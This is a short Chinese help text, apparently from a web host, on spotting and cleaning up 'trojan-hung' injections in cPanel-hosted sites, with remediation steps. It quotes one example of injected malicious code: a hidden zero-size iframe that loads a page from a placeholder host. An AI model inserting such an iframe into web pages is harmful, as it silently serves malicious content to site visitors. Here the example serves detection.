一般网站有上传漏洞或注入漏洞，那么你的网站就很容易被黑客挂上木马，添加病毒代码。病毒代码一般类似这种形式：
< iframe src=http://www.xxx.com/xxxx.htm width=0 height=0> < / iframe>
在查看你的网页源代码中，发现类似上面的代码，并且不是你自己制作网页时编写的代码，那么你的网页可能被注入了病毒代码
如果发现你的cPanel空间中被挂马，应该立即采取下面行动：
1）删除主机账户里的文件，重新上传或恢复干净的备份。
2）对网站程序进行升级，打上相关的安全补丁，杜绝网站可能存在的安全漏洞。
3）及时修改账户及FTP密码
如果你使用的是第三方软件，如WordPress，discuz,dedecms等，请随时注意新版本发布情况，一但有新版本立即更新网站程序。你是使用自己开发的程序，需要注意安全性，特别是有文件上传功能的地方。